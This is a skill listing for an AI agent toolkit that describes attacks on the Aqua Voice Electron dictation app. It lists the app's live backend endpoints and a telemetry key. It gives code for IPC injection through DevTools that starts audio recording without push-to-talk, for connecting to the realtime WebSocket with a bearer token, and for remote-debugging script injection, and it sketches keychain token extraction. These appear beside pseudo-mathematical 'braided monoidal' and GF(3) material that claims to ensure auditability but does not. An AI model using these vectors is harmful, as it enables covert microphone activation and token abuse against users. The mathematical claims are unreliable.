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aqua-voice-malleability skill

/skills/aqua-voice-malleability

This skill helps security researchers analyze Aqua Voice malleability by coordinating braided monoidal interleaving and IPC/WebSocket insights.

npx playbooks add skill plurigrid/asi --skill aqua-voice-malleability

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---
name: aqua-voice-malleability
description: "Adversarial malleability analysis of Aqua Voice Electron app with IPC injection, WebSocket interception, and braided monoidal skill interleaving"
trit: 0
polarity: ERGODIC
source_thread: T-019b5346-9d12-778d-9ca2-4c55a96951f2
---

# Aqua Voice Malleability Skill

Reverse engineering and adversarial analysis of Aqua Voice (v0.11.4) with neighborhood-aware braided monoidal interleaving for compositional security research.

## GF(3) Triad Placement

This skill is **ERGODIC (0)**, forming triads with:

```
# Security Research Bundle
shadow-goblin (-1) ⊗ aqua-voice-malleability (0) ⊗ gay-mcp (+1) = 0 ✓  [IPC Injection]
keychain-secure (-1) ⊗ aqua-voice-malleability (0) ⊗ agent-o-rama (+1) = 0 ✓  [Token Extraction]
polyglot-spi (-1) ⊗ aqua-voice-malleability (0) ⊗ pulse-mcp-stream (+1) = 0 ✓  [WebSocket Monitor]
temporal-coalgebra (-1) ⊗ aqua-voice-malleability (0) ⊗ koopman-generator (+1) = 0 ✓  [Audio Stream Dynamics]
three-match (-1) ⊗ aqua-voice-malleability (0) ⊗ gay-mcp (+1) = 0 ✓  [Pattern Matching]
```

## Braided Monoidal Structure

Skills interleave via **braiding morphisms** σ: A ⊗ B → B ⊗ A with crossing tracking:

```
       σ_{A,B}
    A ⊗ B ────→ B ⊗ A
       ╲   ╱
        ╲ ╱  (over-crossing)
         ╳
        ╱ ╲  (under-crossing)
       ╱   ╲
```

### Neighborhood Awareness

Each skill maintains awareness of its **left** and **right** neighbors in the current braid configuration:

| Position | Skill | Trit | Neighbor Awareness |
|----------|-------|------|-------------------|
| Left | shadow-goblin | -1 | Observes IPC traffic |
| Center | aqua-voice-malleability | 0 | Coordinates injection |
| Right | gay-mcp | +1 | Colors output streams |

### Braid Group Generators

```
σ₁: (skill₁ ⊗ skill₂) ⊗ skill₃ → (skill₂ ⊗ skill₁) ⊗ skill₃  [swap left pair]
σ₂: skill₁ ⊗ (skill₂ ⊗ skill₃) → skill₁ ⊗ (skill₃ ⊗ skill₂)  [swap right pair]

# Yang-Baxter equation (coherence):
(σ₁ ⊗ id) ∘ (id ⊗ σ₁) ∘ (σ₁ ⊗ id) = (id ⊗ σ₁) ∘ (σ₁ ⊗ id) ∘ (id ⊗ σ₁)
```

## Discovered Attack Surface

### Endpoints

| Endpoint | Type | Purpose | Trit |
|----------|------|---------|------|
| `https://aqua-server.fly.dev` | REST | Main backend | +1 |
| `wss://aqua-realtime.fly.dev` | WebSocket | Audio streaming | 0 |
| `http://localhost:8969/stream` | Local | Debug stream | -1 |
| `/users/devices/handshake/` | REST | Device registration | 0 |

### IPC Messages (50+ discovered)

```javascript
// Core dictation (PLUS +1 - generative)
push_to_talk_start_request
push_to_talk_stop
audio_chunk

// Context awareness (ERGODIC 0 - transport)
context_update
mic_predict_request
settings_sync

// Authentication (MINUS -1 - validation)
signed_in / signed_out
token_set
submit_correction
```

### Telemetry Signatures

```
PostHog: phc_N50q2qpNMS9QjJe1gBOQekcPH0wO8x6ZerI95Xi6meO
Sentry:  o1143996.ingest.us.sentry.io
```

## Adversarial Vectors

### Vector 1: IPC Injection (DevTools)

```javascript
// Inject via Electron DevTools - no auth required
const { ipcRenderer } = require('electron');

// Trigger transcription bypassing push-to-talk
ipcRenderer.send('app', { 
  type: 'push_to_talk_start_request' 
});

// Direct audio recording
ipcRenderer.send('app', { 
  type: 'start_audio_recording'
});
```

### Vector 2: WebSocket Direct Connect

```python
import websockets
import asyncio

async def custom_trigger(token: str):
    async with websockets.connect(
        'wss://aqua-realtime.fly.dev',
        extra_headers={'Authorization': f'Bearer {token}'}
    ) as ws:
        # Send audio chunks directly
        await ws.send(audio_chunk_bytes)
        transcript = await ws.recv()
```

### Vector 3: Chrome DevTools Protocol

```bash
# Enable remote debugging
open -a "Aqua Voice" --args --remote-debugging-port=9222

# Inject via CDP
curl -X POST http://localhost:9222/json/send \
  -d '{"method":"Runtime.evaluate","params":{
    "expression":"window.electron.send(\"app\",{type:\"push_to_talk_start_request\"})"
  }}'
```

## Braided Interleaving with Other Skills

### With `shadow-goblin` (Left Neighbor, -1)

```mermaid
sequenceDiagram
    participant SG as shadow-goblin (-1)
    participant AVM as aqua-voice-malleability (0)
    participant GM as gay-mcp (+1)
    
    SG->>AVM: Observe IPC traffic
    AVM->>AVM: Inject modified message
    AVM->>GM: Color output stream
    GM->>SG: Trace colored derivation
    Note over SG,GM: GF(3) sum = -1 + 0 + 1 = 0 ✓
```

### With `keychain-secure` (Token Extraction)

```mermaid
flowchart LR
    subgraph "Braided Triad"
        KS["keychain-secure (-1)"]
        AVM["aqua-voice-malleability (0)"]
        AO["agent-o-rama (+1)"]
    end
    
    KS -->|"extract token"| AVM
    AVM -->|"inject with token"| AO
    AO -->|"learn pattern"| KS
    
    style KS fill:#2626D8
    style AVM fill:#26D826
    style AO fill:#D82626
```

### With `temporal-coalgebra` (Stream Observation)

The audio stream is observed coalgebraically:

```haskell
-- Final coalgebra for audio stream observation
data AudioStream = AudioStream {
  observe :: () -> (AudioChunk, AudioStream)
}

-- Bisimulation: two streams equivalent if same observations forever
bisimilar :: AudioStream -> AudioStream -> Bool
bisimilar s1 s2 = 
  let (c1, s1') = observe s1 ()
      (c2, s2') = observe s2 ()
  in c1 == c2 && bisimilar s1' s2'
```

## DuckDB Schema for Neighborhood Awareness

```sql
CREATE TABLE braid_state (
    id UUID PRIMARY KEY,
    skill_name VARCHAR NOT NULL,
    trit INTEGER CHECK (trit IN (-1, 0, 1)),
    left_neighbor VARCHAR,
    right_neighbor VARCHAR,
    crossing_history STRUCT(
        over_count INTEGER,
        under_count INTEGER,
        last_braid_op VARCHAR
    ),
    created_at TIMESTAMP DEFAULT now()
);

CREATE TABLE ipc_intercepts (
    id UUID PRIMARY KEY,
    message_type VARCHAR NOT NULL,
    payload JSON,
    source_skill VARCHAR,
    target_skill VARCHAR,
    trit INTEGER,
    timestamp TIMESTAMP DEFAULT now()
);

-- Braiding operation log
CREATE TABLE braid_operations (
    id UUID PRIMARY KEY,
    generator VARCHAR CHECK (generator IN ('σ₁', 'σ₂', 'σ₁⁻¹', 'σ₂⁻¹')),
    skill_triple JSON,  -- [left, center, right]
    pre_state JSON,
    post_state JSON,
    yang_baxter_verified BOOLEAN,
    timestamp TIMESTAMP DEFAULT now()
);
```

## Python Integration

```python
#!/usr/bin/env python3
"""Aqua Voice Malleability with Braided Monoidal Awareness"""
from dataclasses import dataclass
from typing import Optional, Tuple
import duckdb

@dataclass
class BraidedSkill:
    name: str
    trit: int  # -1, 0, +1
    left_neighbor: Optional['BraidedSkill'] = None
    right_neighbor: Optional['BraidedSkill'] = None
    
    def braid_over(self, other: 'BraidedSkill') -> Tuple['BraidedSkill', 'BraidedSkill']:
        """σ: self ⊗ other → other ⊗ self (self goes over)"""
        other.right_neighbor = self.right_neighbor
        self.left_neighbor = other.left_neighbor
        other.left_neighbor = self
        self.right_neighbor = other
        return (other, self)
    
    def gf3_sum(self) -> int:
        """Compute GF(3) sum of neighborhood"""
        total = self.trit
        if self.left_neighbor:
            total += self.left_neighbor.trit
        if self.right_neighbor:
            total += self.right_neighbor.trit
        return total % 3

class AquaVoiceMalleability(BraidedSkill):
    def __init__(self):
        super().__init__(name="aqua-voice-malleability", trit=0)
        self.endpoints = {
            "rest": "https://aqua-server.fly.dev",
            "ws": "wss://aqua-realtime.fly.dev",
            "local": "http://localhost:8969/stream"
        }
        self.ipc_messages = [
            "push_to_talk_start_request",
            "audio_chunk",
            "context_update",
            "token_set"
        ]
    
    def inject_ipc(self, message_type: str, payload: dict) -> dict:
        """Inject IPC message with neighborhood awareness"""
        return {
            "type": message_type,
            "payload": payload,
            "source_trit": self.trit,
            "left_aware": self.left_neighbor.name if self.left_neighbor else None,
            "right_aware": self.right_neighbor.name if self.right_neighbor else None
        }

# Create triad
shadow = BraidedSkill("shadow-goblin", -1)
aqua = AquaVoiceMalleability()
gay = BraidedSkill("gay-mcp", +1)

# Link neighborhood
shadow.right_neighbor = aqua
aqua.left_neighbor = shadow
aqua.right_neighbor = gay
gay.left_neighbor = aqua

# Verify GF(3) conservation
assert aqua.gf3_sum() == 0, "GF(3) violated!"
```

## Usage

```bash
# Load skill in triad
just load-triad shadow-goblin aqua-voice-malleability gay-mcp

# Inject IPC message
python3 -c "
from skills.aqua_voice_malleability import inject_via_devtools
inject_via_devtools('push_to_talk_start_request')
"

# Monitor WebSocket with coloring
just ws-monitor wss://aqua-realtime.fly.dev --color-by-trit
```

## Security Research Ethics

This skill is for **authorized security research only**:
- Only analyze applications you own or have explicit permission to test
- Report vulnerabilities responsibly to developers
- Do not use for unauthorized access or data exfiltration
- GF(3) conservation ensures traceable, auditable operations

Overview

This skill performs adversarial malleability analysis of the Aqua Voice Electron app, focusing on IPC injection, WebSocket interception, and braided monoidal interleaving for compositional security research. It identifies endpoints, IPC messages, and telemetry signatures, and models neighborhood-aware interactions between cooperating skills. Use it to explore attack surfaces and to design traceable, auditable experiments in authorized research contexts.

How this skill works

The skill inspects local Electron IPC channels and WebSocket realtime endpoints, enumerates message types, and simulates injections that can trigger audio/transcription behaviors. It models skill interactions as a braided monoidal structure where each skill is aware of left/right neighbors and maintains GF(3) trit state for compositional checks. Outputs include intercepted messages, braid operation logs, and triad-aware injection payloads.

When to use it

  • Conduct authorized security assessments of Aqua Voice or similar Electron apps.
  • Validate resilience of IPC and WebSocket handling against injected messages.
  • Model compositional interactions when multiple analysis tools or skills are chained.
  • Design traceable experiments with auditable braid operation logs.
  • Demonstrate safe exploitation vectors for developer triage and fixes.

Best practices

  • Only run tests with explicit permission from the application owner and on non-production data.
  • Isolate testing environment (virtual machine or disposable container) and revoke any tokens used in tests.
  • Log braid operations and GF(3) checks to maintain provable conservation and auditability.
  • Limit injected payloads to minimal, reversible actions (no destructive commands).
  • Use network interception tools to capture telemetry and authorized endpoints before active testing.

Example use cases

  • Inject push_to_talk_start_request via Electron DevTools to validate push-to-talk enforcement.
  • Directly connect to the realtime WebSocket using a test token to verify server-side audio validation.
  • Simulate triad interactions (left/center/right) to observe how combined skills alter message flows.
  • Log braid generator operations (σ₁, σ₂) and verify Yang–Baxter coherence during interleaving experiments.
  • Create DuckDB records of intercepted IPC messages for forensic analysis and reporting.

FAQ

Is this safe to run on production systems?

No. Run only in isolated, authorized test environments and never on live user data without permission.

What permissions are required to use IPC injection vectors?

Local code execution or DevTools access is typically required; privileged channels like IPC often need local debugging or developer flags enabled.

How does GF(3) trit tracking help security research?

GF(3) trit sums provide a simple conservation check across triads to ensure braid operations remain auditable and that composed interactions preserve expected invariants.